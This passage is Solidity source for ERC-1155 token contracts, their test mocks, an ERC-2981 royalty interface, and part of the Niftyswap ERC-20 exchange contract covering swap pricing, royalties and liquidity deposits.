& mask; } /***********************************| | ERC165 Functions | |__________________________________*/ /** * @notice Query if a contract implements an interface * @param _interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `_interfaceID` and */ function supportsInterface(bytes4 _interfaceID) public override(ERC165, IERC165) virtual pure returns (bool) { if (_interfaceID == type(IERC1155).interfaceId) { return true; } return super.supportsInterface(_interfaceID); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; import "../../interfaces/IERC1155Metadata.sol"; import "../../utils/ERC165.sol"; /** * @notice Contract that handles metadata related methods. * @dev Methods assume a deterministic generation of URI based on token IDs. * Methods also assume that URI uses hex representation of token IDs. */ contract ERC1155Metadata is IERC1155Metadata, ERC165 { // URI's default URI prefix string public baseURI; string public name; // set the initial name and base URI constructor(string memory _name, string memory _baseURI) { name = _name; baseURI = _baseURI; } /***********************************| | Metadata Public Functions | |__________________________________*/ /** * @notice A distinct Uniform Resource Identifier (URI) for a given token. * @dev URIs are defined in RFC 3986. * URIs are assumed to be deterministically generated based on token ID * @return URI string */ function uri(uint256 _id) public override view returns (string memory) { return string(abi.encodePacked(baseURI, _uint2str(_id), ".json")); } /***********************************| | Metadata Internal Functions | |__________________________________*/ /** * @notice Will emit default URI log event for corresponding token _id * @param _tokenIDs Array of IDs of tokens to log default URI */ function _logURIs(uint256[] memory _tokenIDs) internal { string memory baseURL = baseURI; string memory tokenURI; for (uint256 i = 0; i < _tokenIDs.length; i++) { tokenURI = string(abi.encodePacked(baseURL, _uint2str(_tokenIDs[i]), ".json")); emit URI(tokenURI, _tokenIDs[i]); } } /** * @notice Will update the base URL of token's URI * @param _newBaseMetadataURI New base URL of token's URI */ function _setBaseMetadataURI(string memory _newBaseMetadataURI) internal { baseURI = _newBaseMetadataURI; } /** * @notice Will update the name of the contract * @param _newName New contract name */ function _setContractName(string memory _newName) internal { name = _newName; } /** * @notice Query if a contract implements an interface * @param _interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `_interfaceID` and */ function supportsInterface(bytes4 _interfaceID) public override virtual pure returns (bool) { if (_interfaceID == type(IERC1155Metadata).interfaceId) { return true; } return super.supportsInterface(_interfaceID); } /***********************************| | Utility Internal Functions | |__________________________________*/ /** * @notice Convert uint256 to string * @param _i Unsigned integer to convert to string */ function _uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 ii = _i; uint256 len; // Get number of bytes while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len - 1; // Get each individual ASCII while (ii != 0) { bstr[k--] = byte(uint8(48 + ii % 10)); ii /= 10; } // Convert to string return string(bstr); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; interface IERC1155Metadata { event URI(string _uri, uint256 indexed _id); /****************************************| | Functions | |_______________________________________*/ /** * @notice A distinct Uniform Resource Identifier (URI) for a given token. * @dev URIs are defined in RFC 3986. * URIs are assumed to be deterministically generated based on token ID * Token IDs are assumed to be represented in their hex format in URIs * @return URI string */ function uri(uint256 _id) external view returns (string memory); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "../tokens/ERC1155PackedBalance/ERC1155MintBurnPackedBalance.sol"; import "../tokens/ERC1155/ERC1155Metadata.sol"; contract ERC1155MintBurnPackedBalanceMock is ERC1155MintBurnPackedBalance, ERC1155Metadata { // set the initial name and base URI constructor(string memory _name, string memory _baseURI) ERC1155Metadata(_name, _baseURI) {} /***********************************| | ERC165 | |__________________________________*/ /** * @notice Query if a contract implements an interface * @dev Parent contract inheriting multiple contracts with supportsInterface() * need to implement an overriding supportsInterface() function specifying * all inheriting contracts that have a supportsInterface() function. * @param _interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `_interfaceID` */ function supportsInterface( bytes4 _interfaceID ) public override( ERC1155PackedBalance, ERC1155Metadata ) pure virtual returns (bool) { return super.supportsInterface(_interfaceID); } /***********************************| | Minting Functions | |__________________________________*/ /** * @dev Mint _value of tokens of a given id * @param _to The address to mint tokens to. * @param _id token id to mint * @param _value The amount to be minted * @param _data Data to be passed if receiver is contract */ function mintMock(address _to, uint256 _id, uint256 _value, bytes memory _data) public { _mint(_to, _id, _value, _data); } /** * @dev Mint tokens for each ids in _ids * @param _to The address to mint tokens to. * @param _ids Array of ids to mint * @param _values Array of amount of tokens to mint per id * @param _data Data to be passed if receiver is contract */ function batchMintMock(address _to, uint256[] memory _ids, uint256[] memory _values, bytes memory _data) public { _batchMint(_to, _ids, _values, _data); } /***********************************| | Burning Functions | |__________________________________*/ /** * @dev burn _value of tokens of a given token id * @param _from The address to burn tokens from. * @param _id token id to burn * @param _value The amount to be burned */ function burnMock(address _from, uint256 _id, uint256 _value) public { _burn(_from, _id, _value); } /** * @dev burn _value of tokens of a given token id * @param _from The address to burn tokens from. * @param _ids Array of token ids to burn * @param _values Array of the amount to be burned */ function batchBurnMock(address _from, uint256[] memory _ids, uint256[] memory _values) public { _batchBurn(_from, _ids, _values); } /***********************************| | Unsupported Functions | |__________________________________*/ fallback () external { revert("ERC1155MetaMintBurnPackedBalanceMock: INVALID_METHOD"); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; import "./ERC1155PackedBalance.sol"; /** * @dev Multi-Fungible Tokens with minting and burning methods. These methods assume * a parent contract to be executed as they are `internal` functions. */ contract ERC1155MintBurnPackedBalance is ERC1155PackedBalance { /****************************************| | Minting Functions | |_______________________________________*/ /** * @notice Mint _amount of tokens of a given id * @param _to The address to mint tokens to * @param _id Token id to mint * @param _amount The amount to be minted * @param _data Data to pass if receiver is contract */ function _mint(address _to, uint256 _id, uint256 _amount, bytes memory _data) internal { //Add _amount _updateIDBalance(_to, _id, _amount, Operations.Add); // Add amount to recipient // Emit event emit TransferSingle(msg.sender, address(0x0), _to, _id, _amount); // Calling onReceive method if recipient is contract _callonERC1155Received(address(0x0), _to, _id, _amount, gasleft(), _data); } /** * @notice Mint tokens for each (_ids[i], _amounts[i]) pair * @param _to The address to mint tokens to * @param _ids Array of ids to mint * @param _amounts Array of amount of tokens to mint per id * @param _data Data to pass if receiver is contract */ function _batchMint(address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) internal { require(_ids.length == _amounts.length, "ERC1155MintBurnPackedBalance#_batchMint: INVALID_ARRAYS_LENGTH"); if (_ids.length > 0) { // Load first bin and index where the token ID balance exists (uint256 bin, uint256 index) = getIDBinIndex(_ids[0]); // Balance for current bin in memory (initialized with first transfer) uint256 balTo = _viewUpdateBinValue(balances[_to][bin], index, _amounts[0], Operations.Add); // Number of transfer to execute uint256 nTransfer = _ids.length; // Last bin updated uint256 lastBin = bin; for (uint256 i = 1; i < nTransfer; i++) { (bin, index) = getIDBinIndex(_ids[i]); // If new bin if (bin != lastBin) { // Update storage balance of previous bin balances[_to][lastBin] = balTo; balTo = balances[_to][bin]; // Bin will be the most recent bin lastBin = bin; } // Update memory balance balTo = _viewUpdateBinValue(balTo, index, _amounts[i], Operations.Add); } // Update storage of the last bin visited balances[_to][bin] = balTo; } // //Emit event emit TransferBatch(msg.sender, address(0x0), _to, _ids, _amounts); // Calling onReceive method if recipient is contract _callonERC1155BatchReceived(address(0x0), _to, _ids, _amounts, gasleft(), _data); } /****************************************| | Burning Functions | |_______________________________________*/ /** * @notice Burn _amount of tokens of a given token id * @param _from The address to burn tokens from * @param _id Token id to burn * @param _amount The amount to be burned */ function _burn(address _from, uint256 _id, uint256 _amount) internal { // Substract _amount _updateIDBalance(_from, _id, _amount, Operations.Sub); // Emit event emit TransferSingle(msg.sender, _from, address(0x0), _id, _amount); } /** * @notice Burn tokens of given token id for each (_ids[i], _amounts[i]) pair * @dev This batchBurn method does not implement the most efficient way of updating * balances to reduce the potential bug surface as this function is expected to * be less common than transfers. EIP-2200 makes this method significantly * more efficient already for packed balances. * @param _from The address to burn tokens from * @param _ids Array of token ids to burn * @param _amounts Array of the amount to be burned */ function _batchBurn(address _from, uint256[] memory _ids, uint256[] memory _amounts) internal { // Number of burning to execute uint256 nBurn = _ids.length; require(nBurn == _amounts.length, "ERC1155MintBurnPackedBalance#batchBurn: INVALID_ARRAYS_LENGTH"); // Executing all burning for (uint256 i = 0; i < nBurn; i++) { // Update storage balance _updateIDBalance(_from, _ids[i], _amounts[i], Operations.Sub); // Add amount to recipient } // Emit batch burn event emit TransferBatch(msg.sender, _from, address(0x0), _ids, _amounts); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "@0xsequence/erc-1155/contracts/mocks/ERC1155MintBurnPackedBalanceMock.sol"; contract ERC1155PackedBalanceMock is ERC1155MintBurnPackedBalanceMock { constructor() ERC1155MintBurnPackedBalanceMock("TestERC1155", "") {} } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "../tokens/ERC1155/ERC1155MintBurn.sol"; import "../tokens/ERC1155/ERC1155Metadata.sol"; contract ERC1155MintBurnMock is ERC1155MintBurn, ERC1155Metadata { // set the initial name and base URI constructor(string memory _name, string memory _baseURI) ERC1155Metadata(_name, _baseURI) {} /** * @notice Query if a contract implements an interface * @dev Parent contract inheriting multiple contracts with supportsInterface() * need to implement an overriding supportsInterface() function specifying * all inheriting contracts that have a supportsInterface() function. * @param _interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `_interfaceID` */ function supportsInterface( bytes4 _interfaceID ) public override( ERC1155, ERC1155Metadata ) pure virtual returns (bool) { return super.supportsInterface(_interfaceID); } /***********************************| | Minting Functions | |__________________________________*/ /** * @dev Mint _value of tokens of a given id * @param _to The address to mint tokens to. * @param _id token id to mint * @param _value The amount to be minted * @param _data Data to be passed if receiver is contract */ function mintMock(address _to, uint256 _id, uint256 _value, bytes memory _data) public { super._mint(_to, _id, _value, _data); } /** * @dev Mint tokens for each ids in _ids * @param _to The address to mint tokens to. * @param _ids Array of ids to mint * @param _values Array of amount of tokens to mint per id * @param _data Data to be passed if receiver is contract */ function batchMintMock(address _to, uint256[] memory _ids, uint256[] memory _values, bytes memory _data) public { super._batchMint(_to, _ids, _values, _data); } /***********************************| | Burning Functions | |__________________________________*/ /** * @dev burn _value of tokens of a given token id * @param _from The address to burn tokens from. * @param _id token id to burn * @param _value The amount to be burned */ function burnMock(address _from, uint256 _id, uint256 _value) public { super._burn(_from, _id, _value); } /** * @dev burn _value of tokens of a given token id * @param _from The address to burn tokens from. * @param _ids Array of token ids to burn * @param _values Array of the amount to be burned */ function batchBurnMock(address _from, uint256[] memory _ids, uint256[] memory _values) public { super._batchBurn(_from, _ids, _values); } /***********************************| | Unsupported Functions | |__________________________________*/ fallback () virtual external { revert("ERC1155MetaMintBurnMock: INVALID_METHOD"); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "@0xsequence/erc-1155/contracts/mocks/ERC1155MintBurnMock.sol"; import "../interfaces/IERC2981.sol"; contract ERC1155RoyaltyMock is ERC1155MintBurnMock { constructor() ERC1155MintBurnMock("TestERC1155", "") {} using SafeMath for uint256; uint256 public royaltyFee; address public royaltyRecipient; uint256 public royaltyFee666; address public royaltyRecipient666; /** * @notice Called with the sale price to determine how much royalty * is owed and to whom. * @param _tokenId - the NFT asset queried for royalty information * @param _salePrice - the sale price of the NFT asset specified by _tokenId * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for _salePrice */ function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) { if (_tokenId == 666) { uint256 fee = _salePrice.mul(royaltyFee666).div(10000); return (royaltyRecipient666, fee); } else { uint256 fee = _salePrice.mul(royaltyFee).div(10000); return (royaltyRecipient, fee); } } function setFee(uint256 _fee) public { require(_fee < 10000, "FEE IS TOO HIGH"); royaltyFee = _fee; } function set666Fee(uint256 _fee) public { require(_fee < 10000, "FEE IS TOO HIGH"); royaltyFee666 = _fee; } function setFeeRecipient(address _recipient) public { royaltyRecipient = _recipient; } function set666FeeRecipient(address _recipient) public { royaltyRecipient666 = _recipient; } bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a; /** * @notice Query if a contract implements an interface * @param _interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `_interfaceID` and */ function supportsInterface(bytes4 _interfaceID) public override(ERC1155MintBurnMock) virtual pure returns (bool) { // Should be 0x2a55205a if (_interfaceID == _INTERFACE_ID_ERC2981) { return true; } return super.supportsInterface(_interfaceID); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; import "@0xsequence/erc-1155/contracts/interfaces/IERC165.sol"; /** * @dev Interface for the NFT Royalty Standard */ interface IERC2981 is IERC165 { /** * @notice Called with the sale price to determine how much royalty * is owed and to whom. * @param _tokenId - the NFT asset queried for royalty information * @param _salePrice - the sale price of the NFT asset specified by _tokenId * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for _salePrice */ function royaltyInfo( uint256 _tokenId, uint256 _salePrice ) external view returns ( address receiver, uint256 royaltyAmount ); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "../interfaces/INiftyswapExchange20.sol"; import "../utils/ReentrancyGuard.sol"; import "../utils/DelegatedOwnable.sol"; import "../interfaces/IERC2981.sol"; import "../interfaces/IERC1155Metadata.sol"; import "../interfaces/IDelegatedERC1155Metadata.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC20.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC165.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC1155.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC1155TokenReceiver.sol"; import "@0xsequence/erc-1155/contracts/tokens/ERC1155/ERC1155MintBurn.sol"; import "@uniswap/lib/contracts/libraries/TransferHelper.sol"; /** * This Uniswap-like implementation supports ERC-1155 standard tokens * with an ERC-20 based token used as a currency instead of Ether. * * Liquidity tokens are also ERC-1155 tokens you can find the ERC-1155 * implementation used here: * https://github.com/horizon-games/multi-token-standard/tree/master/contracts/tokens/ERC1155 * * @dev Like Uniswap, tokens with 0 decimals and low supply are susceptible to significant rounding * errors when it comes to removing liquidity, possibly preventing them to be withdrawn without * some collaboration between liquidity providers. * * @dev ERC-777 tokens may be vulnerable if used as currency in Niftyswap. Please review the code * carefully before using it with ERC-777 tokens. */ contract NiftyswapExchange20 is ReentrancyGuard, ERC1155MintBurn, INiftyswapExchange20, IERC1155Metadata, DelegatedOwnable { using SafeMath for uint256; /***********************************| | Variables & Constants | |__________________________________*/ // Variables IERC1155 internal immutable token; // address of the ERC-1155 token contract address internal immutable currency; // address of the ERC-20 currency used for exchange address internal immutable factory; // address for the factory that created this contract uint256 internal immutable FEE_MULTIPLIER; // multiplier that calculates the LP fee (1.0%) // Royalty variables bool internal immutable IS_ERC2981; // whether token contract supports ERC-2981 uint256 internal globalRoyaltyFee; // global royalty fee multiplier if ERC2981 is not used address internal globalRoyaltyRecipient; // global royalty fee recipient if ERC2981 is not used // Mapping variables mapping(uint256 => uint256) internal totalSupplies; // Liquidity pool token supply per Token id mapping(uint256 => uint256) internal currencyReserves; // currency Token reserve per Token id mapping(address => uint256) internal royaltiesNumerator; // Mapping tracking how much royalties can be claimed per address uint256 internal constant ROYALTIES_DENOMINATOR = 10000; uint256 internal constant MAX_ROYALTY = ROYALTIES_DENOMINATOR / 4; /***********************************| | Constructor | |__________________________________*/ /** * @notice Create instance of exchange contract with respective token and currency token * @dev If token supports ERC-2981, then royalty fee will be queried per token on the * token contract. Else royalty fee will need to be manually set by admin. * @param _tokenAddr The address of the ERC-1155 Token * @param _currencyAddr The address of the ERC-20 currency Token * @param _currencyAddr Address of the admin, which should be the same as the factory owner * @param _lpFee Fee that will go to LPs. * Number between 0 and 1000, where 10 is 1.0% and 100 is 10%. */ constructor(address _tokenAddr, address _currencyAddr, uint256 _lpFee) DelegatedOwnable(msg.sender) { require( _tokenAddr != address(0) && _currencyAddr != address(0), "NE20#1" // NiftyswapExchange20#constructor:INVALID_INPUT ); require( _lpFee >= 0 && _lpFee <= 1000, "NE20#2" // NiftyswapExchange20#constructor:INVALID_LP_FEE ); factory = msg.sender; token = IERC1155(_tokenAddr); currency = _currencyAddr; FEE_MULTIPLIER = 1000 - _lpFee; // If global royalty, lets check for ERC-2981 support try IERC1155(_tokenAddr).supportsInterface(type(IERC2981).interfaceId) returns (bool supported) { IS_ERC2981 = supported; } catch {} } /***********************************| | Metadata Functions | |__________________________________*/ /** @notice A distinct Uniform Resource Identifier (URI) for a given token. @dev URIs are defined in RFC 3986. The URI MUST point to a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema". @return URI string */ function uri(uint256 _id) external override view returns (string memory) { return IDelegatedERC1155Metadata(factory).metadataProvider().uri(_id); } /***********************************| | Exchange Functions | |__________________________________*/ /** * @notice Convert currency tokens to Tokens _id and transfers Tokens to recipient. */ function _currencyToToken( uint256[] memory _tokenIds, uint256[] memory _tokensBoughtAmounts, uint256 _maxCurrency, uint256 _deadline, address _recipient ) internal nonReentrant() returns (uint256[] memory currencySold) { // Input validation require(_deadline >= block.timestamp, "NE20#3"); // NiftyswapExchange20#_currencyToToken: DEADLINE_EXCEEDED // Number of Token IDs to deposit uint256 nTokens = _tokenIds.length; uint256 totalRefundCurrency = _maxCurrency; // Initialize variables currencySold = new uint256[](nTokens); // Amount of currency tokens sold per ID // Get token reserves uint256[] memory tokenReserves = _getTokenReserves(_tokenIds); // Assumes the currency Tokens are already received by contract, but not // the Tokens Ids // Remove liquidity for each Token ID in _tokenIds for (uint256 i = 0; i < nTokens; i++) { // Store current id and amount from argument arrays uint256 idBought = _tokenIds[i]; uint256 amountBought = _tokensBoughtAmounts[i]; uint256 tokenReserve = tokenReserves[i]; require(amountBought > 0, "NE20#4"); // NiftyswapExchange20#_currencyToToken: NULL_TOKENS_BOUGHT // Load currency token and Token _id reserves uint256 currencyReserve = currencyReserves[idBought]; // Get amount of currency tokens to send for purchase // Neither reserves amount have been changed so far in this transaction, so // no adjustment to the inputs is needed uint256 currencyAmount = getBuyPrice(amountBought, currencyReserve, tokenReserve); // If royalty, increase amount buyer will need to pay after LP fees were calculated // Note: Royalty will be a bit higher since LF fees are added first (address royaltyRecipient, uint256 royaltyAmount) = getRoyaltyInfo(idBought, currencyAmount); if (royaltyAmount > 0) { royaltiesNumerator[royaltyRecipient] = royaltiesNumerator[royaltyRecipient].add(royaltyAmount.mul(ROYALTIES_DENOMINATOR)); } // Calculate currency token amount to refund (if any) where whatever is not used will be returned // Will throw if total cost exceeds _maxCurrency totalRefundCurrency = totalRefundCurrency.sub(currencyAmount).sub(royaltyAmount); // Append Token id, Token id amount and currency token amount to tracking arrays currencySold[i] = currencyAmount.add(royaltyAmount); // Update individual currency reseve amount (royalty is not added to liquidity) currencyReserves[idBought] = currencyReserve.add(currencyAmount); } // Send Tokens all tokens purchased token.safeBatchTransferFrom(address(this), _recipient, _tokenIds, _tokensBoughtAmounts, ""); // Refund currency token if any if (totalRefundCurrency > 0) { TransferHelper.safeTransfer(currency, _recipient, totalRefundCurrency); } return currencySold; } /** * @dev Pricing function used for converting between currency token to Tokens. * @param _assetBoughtAmount Amount of Tokens being bought. * @param _assetSoldReserve Amount of currency tokens in exchange reserves. * @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves. * @return price Amount of currency tokens to send to Niftyswap. */ function getBuyPrice( uint256 _assetBoughtAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) override public view returns (uint256 price) { // Reserves must not be empty require(_assetSoldReserve > 0 && _assetBoughtReserve > 0, "NE20#5"); // NiftyswapExchange20#getBuyPrice: EMPTY_RESERVE // Calculate price with fee uint256 numerator = _assetSoldReserve.mul(_assetBoughtAmount).mul(1000); uint256 denominator = (_assetBoughtReserve.sub(_assetBoughtAmount)).mul(FEE_MULTIPLIER); (price, ) = divRound(numerator, denominator); return price; // Will add 1 if rounding error } /** * @dev Pricing function used for converting Tokens to currency token (including royalty fee) * @param _tokenId Id ot token being sold * @param _assetBoughtAmount Amount of Tokens being bought. * @param _assetSoldReserve Amount of currency tokens in exchange reserves. * @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves. * @return price Amount of currency tokens to send to Niftyswap. */ function getBuyPriceWithRoyalty( uint256 _tokenId, uint256 _assetBoughtAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) override public view returns (uint256 price) { uint256 cost = getBuyPrice(_assetBoughtAmount, _assetSoldReserve, _assetBoughtReserve); (, uint256 royaltyAmount) = getRoyaltyInfo(_tokenId, cost); return cost.add(royaltyAmount); } /** * @notice Convert Tokens _id to currency tokens and transfers Tokens to recipient. * @dev User specifies EXACT Tokens _id sold and MINIMUM currency tokens received. * @dev Assumes that all trades will be valid, or the whole tx will fail * @dev Sorting _tokenIds is mandatory for efficient way of preventing duplicated IDs (which would lead to errors) * @param _tokenIds Array of Token IDs that are sold * @param _tokensSoldAmounts Array of Amount of Tokens sold for each id in _tokenIds. * @param _minCurrency Minimum amount of currency tokens to receive * @param _deadline Timestamp after which this transaction will be reverted * @param _recipient The address that receives output currency tokens. * @param _extraFeeRecipients Array of addresses that will receive extra fee * @param _extraFeeAmounts Array of amounts of currency that will be sent as extra fee * @return currencyBought How much currency was actually purchased. */ function _tokenToCurrency( uint256[] memory _tokenIds, uint256[] memory _tokensSoldAmounts, uint256 _minCurrency, uint256 _deadline, address _recipient, address[] memory _extraFeeRecipients, uint256[] memory _extraFeeAmounts ) internal nonReentrant() returns (uint256[] memory currencyBought) { // Number of Token IDs to deposit uint256 nTokens = _tokenIds.length; // Input validation require(_deadline >= block.timestamp, "NE20#6"); // NiftyswapExchange20#_tokenToCurrency: DEADLINE_EXCEEDED // Initialize variables uint256 totalCurrency = 0; // Total amount of currency tokens to transfer currencyBought = new uint256[](nTokens); // Get token reserves uint256[] memory tokenReserves = _getTokenReserves(_tokenIds); // Assumes the Tokens ids are already received by contract, but not // the Tokens Ids. Will return cards not sold if invalid price. // Remove liquidity for each Token ID in _tokenIds for (uint256 i = 0; i < nTokens; i++) { // Store current id and amount from argument arrays uint256 idSold = _tokenIds[i]; uint256 amountSold = _tokensSoldAmounts[i]; uint256 tokenReserve = tokenReserves[i]; // If 0 tokens send for this ID, revert require(amountSold > 0, "NE20#7"); // NiftyswapExchange20#_tokenToCurrency: NULL_TOKENS_SOLD // Load currency token and Token _id reserves uint256 currencyReserve = currencyReserves[idSold]; // Get amount of currency that will be received // Need to sub amountSold because tokens already added in reserve, which would bias the calculation // Don't need to add it for currencyReserve because the amount is added after this calculation uint256 currencyAmount = getSellPrice(amountSold, tokenReserve.sub(amountSold), currencyReserve); // If royalty, substract amount seller will receive after LP fees were calculated // Note: Royalty will be a bit lower since LF fees are substracted first (address royaltyRecipient, uint256 royaltyAmount) = getRoyaltyInfo(idSold, currencyAmount); if (royaltyAmount > 0) { royaltiesNumerator[royaltyRecipient] = royaltiesNumerator[royaltyRecipient].add(royaltyAmount.mul(ROYALTIES_DENOMINATOR)); } // Increase total amount of currency to receive (minus royalty to pay) totalCurrency = totalCurrency.add(currencyAmount.sub(royaltyAmount)); // Update individual currency reseve amount currencyReserves[idSold] = currencyReserve.sub(currencyAmount); // Append Token id, Token id amount and currency token amount to tracking arrays currencyBought[i] = currencyAmount.sub(royaltyAmount); } // Set the extra fees aside to recipients after sale for (uint256 i = 0; i < _extraFeeAmounts.length; i++) { if (_extraFeeAmounts[i] > 0) { totalCurrency = totalCurrency.sub(_extraFeeAmounts[i]); royaltiesNumerator[_extraFeeRecipients[i]] = royaltiesNumerator[_extraFeeRecipients[i]].add(_extraFeeAmounts[i].mul(ROYALTIES_DENOMINATOR)); } } // If minCurrency is not met require(totalCurrency >= _minCurrency, "NE20#8"); // NiftyswapExchange20#_tokenToCurrency: INSUFFICIENT_CURRENCY_AMOUNT // Transfer currency here TransferHelper.safeTransfer(currency, _recipient, totalCurrency); return currencyBought; } /** * @dev Pricing function used for converting Tokens to currency token. * @param _assetSoldAmount Amount of Tokens being sold. * @param _assetSoldReserve Amount of Tokens in exchange reserves. * @param _assetBoughtReserve Amount of currency tokens in exchange reserves. * @return price Amount of currency tokens to receive from Niftyswap. */ function getSellPrice( uint256 _assetSoldAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) override public view returns (uint256 price) { //Reserves must not be empty require(_assetSoldReserve > 0 && _assetBoughtReserve > 0, "NE20#9"); // NiftyswapExchange20#getSellPrice: EMPTY_RESERVE // Calculate amount to receive (with fee) before royalty uint256 _assetSoldAmount_withFee = _assetSoldAmount.mul(FEE_MULTIPLIER); uint256 numerator = _assetSoldAmount_withFee.mul(_assetBoughtReserve); uint256 denominator = _assetSoldReserve.mul(1000).add(_assetSoldAmount_withFee); return numerator / denominator; //Rounding errors will favor Niftyswap, so nothing to do } /** * @dev Pricing function used for converting Tokens to currency token (including royalty fee) * @param _tokenId Id ot token being sold * @param _assetSoldAmount Amount of Tokens being sold. * @param _assetSoldReserve Amount of Tokens in exchange reserves. * @param _assetBoughtReserve Amount of currency tokens in exchange reserves. * @return price Amount of currency tokens to receive from Niftyswap. */ function getSellPriceWithRoyalty( uint256 _tokenId, uint256 _assetSoldAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) override public view returns (uint256 price) { uint256 sellAmount = getSellPrice(_assetSoldAmount, _assetSoldReserve, _assetBoughtReserve); (, uint256 royaltyAmount) = getRoyaltyInfo(_tokenId, sellAmount); return sellAmount.sub(royaltyAmount); } /***********************************| | Liquidity Functions | |__________________________________*/ /** * @notice Deposit less than max currency tokens && exact Tokens (token ID) at current ratio to mint liquidity pool tokens. * @dev min_liquidity does nothing when total liquidity pool token supply is 0. * @dev Assumes that sender approved this contract on the currency * @dev Sorting _tokenIds is mandatory for efficient way of preventing duplicated IDs (which would lead to errors) * @param _provider Address that provides liquidity to the reserve * @param _tokenIds Array of Token IDs where liquidity is added * @param _tokenAmounts Array of amount of Tokens deposited corresponding to each ID provided in _tokenIds * @param _maxCurrency Array of maximum number of tokens deposited for each ID provided in _tokenIds. * Deposits max amount if total liquidity pool token supply is 0. * @param _deadline Timestamp after which this transaction will be reverted */ function _addLiquidity( address _provider, uint256[] memory _tokenIds, uint256[] memory _tokenAmounts, uint256[] memory _maxCurrency, uint256 _deadline) internal nonReentrant() { // Requirements require(_deadline >= block.timestamp, "NE20#10"); // NiftyswapExchange20#_addLiquidity: DEADLINE_EXCEEDED // Initialize variables uint256 nTokens = _tokenIds.length; // Number of Token IDs to deposit uint256 totalCurrency = 0; // Total amount of currency tokens to transfer // Initialize arrays uint256[] memory liquiditiesToMint = new uint256[](nTokens); uint256[] memory currencyAmounts = new uint256[](nTokens); // Get token reserves uint256[] memory tokenReserves = _getTokenReserves(_tokenIds); // Assumes tokens _ids are deposited already, but not currency tokens // as this is calculated and executed below. // Loop over all Token IDs to deposit for (uint256 i = 0; i < nTokens; i ++) { // Store current id and amount from argument arrays uint256 tokenId = _tokenIds[i]; uint256 amount = _tokenAmounts[i]; // Check if input values are acceptable require(_maxCurrency[i] > 0, "NE20#11"); // NiftyswapExchange20#_addLiquidity: NULL_MAX_CURRENCY require(amount > 0, "NE20#12"); // NiftyswapExchange20#_addLiquidity: NULL_TOKENS_AMOUNT // Current total liquidity calculated in currency token uint256 totalLiquidity = totalSupplies[tokenId]; // When reserve for this token already exists if (totalLiquidity > 0) { // Load currency token and Token reserve's supply of Token id uint256 currencyReserve = currencyReserves[tokenId]; // Amount not yet in reserve uint256 tokenReserve = tokenReserves[i]; /** * Amount of currency tokens to send to token id reserve: * X/Y = dx/dy * dx = X*dy/Y * where * X: currency total liquidity * Y: Token _id total liquidity (before tokens were received) * dy: Amount of token _id deposited * dx: Amount of currency to deposit * * Adding .add(1) if rounding errors so to not favor users incorrectly */ (uint256 currencyAmount, bool rounded) = divRound(amount.mul(currencyReserve), tokenReserve.sub(amount)); require(_maxCurrency[i] >= currencyAmount, "NE20#13"); // NiftyswapExchange20#_addLiquidity: MAX_CURRENCY_AMOUNT_EXCEEDED // Update currency reserve size for Token id before transfer currencyReserves[tokenId] = currencyReserve.add(currencyAmount); // Update totalCurrency totalCurrency = totalCurrency.add(currencyAmount); // Proportion of the liquidity pool to give to current liquidity provider // If rounding error occured, round down to favor previous liquidity providers // See https://github.com/0xsequence/niftyswap/issues/19 liquiditiesToMint[i] = (currencyAmount.sub(rounded ? 1 : 0)).mul(totalLiquidity) / currencyReserve; currencyAmounts[i] = currencyAmount; // Mint liquidity ownership tokens and increase liquidity supply accordingly totalSupplies[tokenId] = totalLiquidity.add(liquiditiesToMint[i]); } else { uint256 maxCurrency = _maxCurrency[i]; // Otherwise rounding error could end up being significant on second deposit require(maxCurrency >= 1000, "NE20#14"); // NiftyswapExchange20#_addLiquidity: INVALID_CURRENCY_AMOUNT // Update currency reserve size for Token id before transfer currencyReserves[tokenId] = maxCurrency; // Update totalCurrency totalCurrency = totalCurrency.add(maxCurrency); // Initial liquidity is amount deposited (Incorrect pricing will be arbitraged) // uint256 initialLiquidity = _maxCurrency; totalSupplies[tokenId] = maxCurrency; // Liquidity to mints liquiditiesToMint[i] = maxCurrency; currencyAmounts[i] = maxCurrency; } } // Transfer all currency to this contract TransferHelper.safeTransferFrom(currency, _provider, address(this), totalCurrency); // Mint liquidity pool tokens _batchMint(_provider, _tokenIds, liquiditiesToMint, ""); // Emit event emit LiquidityAdded(_provider, _tokenIds, _tokenAmounts, currencyAmounts); } /** * @dev Convert pool participation into amounts of token and currency. * @dev Rounding error of the asset with lower resolution is traded for the other asset. * @param _amountPool Participation to be converted to 